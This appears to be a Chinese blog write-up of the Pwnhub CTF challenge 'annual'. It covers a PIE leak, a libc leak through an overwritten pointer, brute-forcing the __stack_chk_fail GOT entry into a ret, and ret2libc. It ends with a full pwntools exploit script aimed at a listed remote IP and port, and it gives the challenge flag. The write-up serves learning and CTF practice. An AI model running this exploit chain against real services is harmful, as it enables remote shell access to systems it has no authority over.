Pwnhub血月归来annual Writeup

思路概要

我解本题的思路大致如下:

  1. 用栈溢出leak全局变量地址,绕过PIE
  2. leak libc中函数的地址,根据低字节找到对应的libc版本,同时得到libc地址
  3. 修改got表中__stack_chk_fail的地址使其指向一个ret指令。此处需要爆破
  4. 用栈溢出ret2libc

逆向

main函数

main函数调用了两个函数。initialize里调用了srand(time(0)),将函数指针赋值给全局变量。接下来看main_0函数:


main_0栈帧
main_0主要流程

通过菜单选项执行函数。分别有:

  • B)ye. 返回
  • G)et more packet. person结构体中的money指针指向的值加上一个模100的随机数
  • P)rint packet. 打印person->name和person->packets中所有指针所指的Packets信息
  • R)ename. 重命名,此处存在栈溢出
  • S)how. 打印person->name和*person->money

Person和Packet结构体是通过逆向分析得到的,如下:


结构体

翻译成C语言就是

struct Packet
{
    char message[0x100];
    unsigned int sig;
    unsigned int Money;
};
struct Person
{
    char name[32];
    unsigned int * pMoney;
    struct Packet * packets[10];
};

Tips : IDA改名,定义结构体十分有助于逆向分析,弄清程序流程

Pwn

checksec。没什么好说的,是个64位程序


checksec

绕过PIE

main_0函数中的pMoney指针(off=0x20)指向的是一个全局变量,可以通过写入0x20个字符后打印名字来得到money全局变量的地址,以算出bss段地址和got.plt表地址


person.pMoney

leak libc

可以利用show函数打印*person.pMoney,通过栈溢出覆盖该指针可以实现任意地址读。将其覆盖为got表地址可以泄露函数libc地址(由于show函数只会打印4字节的数据,因此每个地址要leak两次),泄露两个libc地址后就可以使用工具获得相应的libc。之后计算出system函数和"/bin/sh"字符串的实际加载地址。
这里我使用了工具https://github.com/niklasb/libc-database,也可以使用pwntools的dynELF来实现。

覆盖__stack_chk_fail的got表地址

这是本题中比较关键的一步。因为在程序中能写任意地址的函数只有GetPacket,而修改 的值是一个随机数,所以需要通过爆破找到值为0xc3(ret)的地址。
我们首先获取__stack_chk_fail中存放的地址值scf_addr。此时__stack_chk_fail未绑定,因此该地址在用户的地址空间中。将person.pMoney覆盖为__stack_chk_fail的got表地址。
调用GetPacket,每次GetPacket后用rename将pMoney指针修改为scf_addr+money(当前总金钱数) ,顺便覆盖person的packets数组首个元素为0(这样才可以爆破多于10次)。然后使用show可以读取got['__stack_chk_fail']中存放地址中的值,不为0xc3就重新执行GetPacket。
money过大会使got['__stack_chk_fail']超出可执行代码范围,一般2000以内不行就可以重新爆破。最终可以使got['__stack_chk_fail']指向一条ret指令,绕过cannary

ret2libc

使用ropper工具在libc中找到一个跳板pop rdi; ret;(原程序中虽然也有这个跳板,但是不可执行) 计算该指令地址。构造栈帧如下:

写入(buf)
'a'*0xa8
gaget -> pop rdi; ret;
binsh_addr -> "/bin/sh"
system_addr

成功返回后难道shell。

攻击代码

from pwn import *
#pwnhub{flag:H4ppy_N3w_year%^&*}
#io = process('./annual')
elf = ELF('./annual')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.26.so')
libc = ELF('./libc-2.23.so')
io = remote("52.80.154.150", 9999)
money = 0

def welcome(s):
    io.sendafter('name!', s, timeout=5)

def getPacket(s):
    global money
    io.sendafter("B)ye\n", 'G')
    io.recvuntil("$")
    inc = int(io.recvuntil("\n")[:-1], 10)
    io.sendafter("message!\n", s)
    money += inc
    return inc

def printPacket():
    io.sendafter("B)ye\n", 'P')
    return io.recvuntil("R)ename")[:-len("R)ename")]

def show():
    io.sendafter("B)ye\n", 'S')
    return io.recvuntil("R)ename")[:-len("R)ename")].split(' have $')

def rename(s):
    io.sendafter("B)ye\n", 'R')
    io.sendafter("name!", s)

def got(sym, bss_addr):
    return elf.got[sym] + bss_addr - elf.bss()

def leakGot(sym, bss_addr):
    item_got = got(sym, bss_addr)
    payload = 'a' * 0x40 + p64(item_got)
    rename(payload)
    #payload = 'a' * 0x40 + p64(heap_addr)
    #rename(payload)
    low = int(show()[1], 10) & 0xffffffff
    payload = 'a' * 0x40 + p64(item_got+4)
    rename(payload)
    high = int(show()[1], 10) & 0xffffffff
    return low | (high << 32)

def main():
    global money
    welcome('L1nk')
    # leak bss
    payload1 = "a" * 0x20
    rename(payload1)
    money_addr = u64(show()[0][0x20:0x20+6].ljust(8, '\x00'))
    bss_addr = money_addr - 0x4238 + 0x40e0

    print "[+] Money addr:" + hex(money_addr)
    # leak libc
    srand_addr = leakGot("srand", bss_addr)
    print "[+] srand addr:" + hex(srand_addr)
    setbuf_addr = leakGot("setbuf", bss_addr)
    print "[+] setbuf addr:" + hex(setbuf_addr)
    #if True:
    #    offset_system = 0x0000000000045390
    #    offset_setbuf = 0x00000000000766b0
    #    offset_binsh  = 0x00000000001190f0 
    #    offset_scf    = 0x00000000001190f0
    #else:
    offset_system = libc.symbols['system']
    offset_setbuf = libc.symbols['setbuf']
    offset_scf    = libc.symbols['__stack_chk_fail']
    offset_binsh  = 0x18CD57

    libc_addr = setbuf_addr - offset_setbuf
    system_addr = libc_addr + offset_system
    binsh_addr = offset_binsh + libc_addr
    rename('\x00' * 0x40 + p64(got('__stack_chk_fail', bss_addr)))
    low = int(show()[1], 10) & 0xffffffff
    rename('\x00' * 0x40 + p64(got('__stack_chk_fail', bss_addr) + 4))
    high = int(show()[1], 10) & 0xffffffff
    scf_addr = low | high << 32
    print "[+] __stack_chk_fail plt:" + hex(scf_addr)
    print "[+] __stack_chk_fail plt:" + hex(elf.plt["__stack_chk_fail"] + bss_addr - elf.bss() + 60)
    while True:
        print money
        rename('\x00'*0x40 + p64(got('__stack_chk_fail', bss_addr)) + '\x00' * 0x10)
        getPacket('\x00')
        rename('\x00'*0x40 + p64(scf_addr+money) + '\x00' * 0x10)
        if int(show()[1]) & 0xff == 0xc3:
            break
    gadget = libc_addr + 0x21102
    payload = 0xa8 * 'a' + p64(gadget) + p64(binsh_addr) + p64(system_addr)
    rename(payload)
    io.sendafter("B)ye\n", "B")
    io.interactive()

if __name__ == "__main__":
    main()

感谢zblee的邀请码~

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,386评论 6 479
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,939评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,851评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,953评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,971评论 5 369
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,784评论 1 283
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,126评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,765评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,148评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,744评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,858评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,479评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,080评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,053评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,278评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,245评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,590评论 2 343

推荐阅读更多精彩内容

  • WEB 祝大家圣诞快乐!hhhhh sprintf看着像wp里面的,去漏洞平台搜了一下。应该是这个漏洞: 这个我不...
    RedTeamWing阅读 1,410评论 0 2
  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 3,296评论 0 2
  • 最近在学蒸米的《一步一步学ROP之linux_x86篇》,内容写的很详细,个人学到了很多,但同时学的过程中也有很多...
    2mpossible阅读 1,503评论 0 5
  • 为什么你们都能如此充满希望
    无夜无阅读 150评论 0 0
  • 你是不是每次去医院都会做检查呢?是不是每次做完检查一大堆化验单扑面而来?看又看不懂,看着也心烦!从现在开始,...
    文沧海丶阅读 2,150评论 0 1